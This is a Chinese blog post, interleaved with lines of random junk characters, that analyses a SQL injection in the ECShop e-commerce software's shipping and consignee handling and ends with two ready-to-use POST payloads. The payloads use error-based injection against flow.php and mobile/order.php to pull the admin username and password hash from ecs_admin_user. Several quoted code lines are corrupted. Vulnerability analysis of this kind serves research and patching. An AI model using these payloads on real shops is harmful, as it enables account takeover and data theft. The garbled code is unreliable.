ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：

" V5 n% \" B# E2 A    /includes/lib_order.php
- a3 k* \. S) }2 }1 g7 ~
; }) [7 Q& c) j, R% D0 P8 @    关键函数：


$ v0 }! g6 h' b9 Y# m
* \7 D* r3 Y0 y2 q; B$ i01     function available_shipping_list($region_id_list)

02 {

03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
. `( [7 Q+ t* d* t
. f# K" v1 u. S5 x/ J* ?04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
/ c: f7 g" g& N+ {0 K
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
% G% C' S' f$ G$ L+ T
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

9 \# J4 \4 l2 A! K* D  b07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

! X8 ~% Y( ^3 p* P5 T9 N08             'WHERE r.region_id ' . db_create_in($region_id_list) .
! f5 z1 \& g& i. ]8 v! h: B& F
) m! }( R; v' d( J0 f- y09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   

! l2 g# c2 V6 L: a( x11     return $GLOBALS['db']->getAll($sql);

+ h9 X- }$ o- j' W7 c12 }

, J2 [" k. a+ k! _8 h' U- O- j显然对传入的参数没有任何过滤就带入了查询语句。
; G1 P/ X# ^5 ]: e
7 ~; d3 r6 T+ R下面我们追踪这个函数在flow.php中：
5 L$ p9 d# t9 c/ c, f( K 第531行：   

1 $shipping_list     = available_shipping_list($region);
) a- u1 R; P& ]/ f2 D+ n. N  T, c
, a7 [. m# i# c+ {# O6 Q7 L1 @% A* ~



再对传入变量进行追踪：
. l3 R/ D& q7 ?
第530行：   

  B7 B3 u) Z, d" p1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
$ b6 e" x7 h; |4 S/ U* |% }! S- v" X


4 Q0 f9 C' d; p7 J
% M9 d) N1 K* u- U4 W2 A
0 n/ A5 v, |4 g第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);
' e5 h  r" I; U5 M4 j. ^
到了一个关键函数：

/includes/lib_order.php


& B' Y, p' x; ^# M  r5 X
5 _; T+ s' z$ F; v7 o! _: O: W1 k6 _
1 {$ x5 O+ z% }; H+ p8 k: z9 E9 W
3 D: g: N. V4 U# p+ }3 L* R01 function get_consignee($user_id)

( v$ [, u7 e. j+ [$ b( }02 {

03     if (isset($_SESSION['flow_consignee']))

! m1 J: P! K+ a/ y) B04     {
7 s1 M3 B0 f8 v0 ?7 ~) V% G6 p
7 E" L, \& K9 `% t& h$ _# N. ]05         /* 如果存在session，则直接返回session中的收货人信息 */

6 x' A% l/ e5 P2 ?& m& b' D06   

' ?7 W9 K% _6 s% Z1 j, g0 O: a07         return $_SESSION['flow_consignee'];
; K0 H* N4 l& @" O4 w/ F2 d
$ ?' [! J+ [, s3 Y; }  O08     }
! U6 X( O# o3 H; e9 Q* o/ U
: m* r" n4 [* K$ X0 a09     else
  G/ _; {  X+ G0 S2 ]8 K
1 B6 a( r; {4 x5 {4 F3 ^9 O5 e10     {
$ f8 w  [" {8 ]- w
11         /* 如果不存在，则取得用户的默认收货人信息 */
) u  N$ O: N- T$ h5 Y
' |# H! o5 u3 X/ m& ~& Y12         $arr = array();
4 ^9 p! `+ n) J  u9 h
13   

14         if ($user_id > 0)

15         {

5 s  J% p/ b% k6 U1 Y16             /* 取默认地址 */
6 @0 }! u, w2 k7 W6 `9 @+ T
17             $sql = "SELECT ua.*".
/ F. I1 T+ q$ H( B& ~! r: L0 L
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
6 t. H; S# C) U2 v" y1 Q* r
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   
6 D" s, j% e) k- @, N- e
21             $arr = $GLOBALS['db']->getRow($sql);
1 d7 m, F  b; T0 }
22         }
' S6 @5 s$ J8 g! ]: ?  E
) V* U) o9 w5 [2 Q% x23   

24         return $arr;

25     }

- M" v4 z! Z8 R3 ^26 }
4 ~/ }: K( F# K; m: z
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
8 n! T6 A! W# x9 B/ ^, F

5 S" l* x, O9 N) t5 Z
关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
1 f1 ?3 Q/ f6 I& D
0 m" |8 m3 g0 p) L5 l0 Q; v" V, ^这里对传入参数反转义存入$_SESSION中。
1 \6 w5 P- s8 Q( J: _

2 T) ~3 E. C# n9 |% }3 y- Q8 F- `
然后看下：
0 j, V) Q! N* u/ R3 F
% s, H8 }6 R# D  n4 p5 C" V
' |7 ?  j* x- |& ^! q! x, b' }
4 `6 J2 ~" o' g2 y  b* D/ c   
' q9 m& E- K2 N7 y% t/ s0 A
01 $consignee = array(
' }5 `# I5 M) i# d
- \  \9 R" i& M& A. l02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
& ]9 Q, l( y& L/ W: ^3 z1 Q
4 z# L+ W* [& W3 c* q03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
8 ^9 r. m2 ^' ^- c  w9 j
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
  m2 ?9 r+ q6 Q4 }4 b7 v
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
7 W2 t( Y+ j+ W) L! ?
  p# L1 @8 ?) ~7 Q07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
+ w" q) I1 I0 `$ `4 q
$ _! d& H  ^5 s; v2 O08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
* P5 \0 C1 E+ x3 i
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
2 \9 _: g2 `& r, E
/ d, ]8 g8 `) o" n' q. w" t10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
4 E! d* W0 z( A* O; N
5 d8 g7 W% k8 [: _+ p11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
1 q: e: [$ `8 P- U1 [2 I
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
5 B) Z) y7 w, D( D9 Y0 b/ Y+ d
8 g) r! i( C6 x9 p5 P% ]13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

2 g1 ?6 x0 H) g; ^9 i9 x$ T14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

5 R# A9 r% `; F, O. j15     );

/ D6 [8 N) t2 t6 V/ g/ ^好了注入就这样出现了。
/ _7 J+ d6 D0 r* g# m5 d$ X
4 \0 ~* S- z4 G* _==================

1 x: \8 S. B/ G% M, [% J- {注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106
3 Y. C4 @: A* u1 y$ O


1.首先需要点击一个商品加入购物车
- S  m, D+ W5 [- y+ P! o/ p
" u3 F  K. Q+ `/ \2.注册一个会员帐号
  Z2 ~& J* E( }
3.post提交数据
" ]) b# J3 I: L$ D. s( W

; l8 r! D9 t/ Z* @
; S- L/ @' l7 t1 http://127.0.0.1/ecshop/flow.php
- v0 v2 `# V# M9 p4 X3 m/ f
3 n7 i& _0 |$ y. g. c7 q2   

  O; h0 J0 @3 r, X3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
# K3 H" i7 Y7 ]
& K6 c8 u0 N3 [我们搜寻关键函数function available_shipping_list()

  l$ c7 x7 u, e8 }9 h* M在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
' P0 y- ^. v$ U% H
; l; u2 D5 q6 r* x8 }( T( {利用exp:

2 b# e' M: [! U( ~0 d* W1.点击一个商品，点击购买商标
7 R9 |3 [7 t( L! W8 B0 y
. H4 C/ K# T) x. `# }2.登录会员帐号

% [* H3 e  D7 q; f- b3.post提交：
- Y! M6 x/ }; P3 t8 R
http://127.0.0.1/ecshop/mobile/order.php
5 z" W7 Q+ j- D$ ^( K
6 Z+ V/ R9 M% w( l8 a
- J% X% j0 g  O9 G' {5 f
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

. H' ?4 ]# D: z* q1 o8 z6 f3 L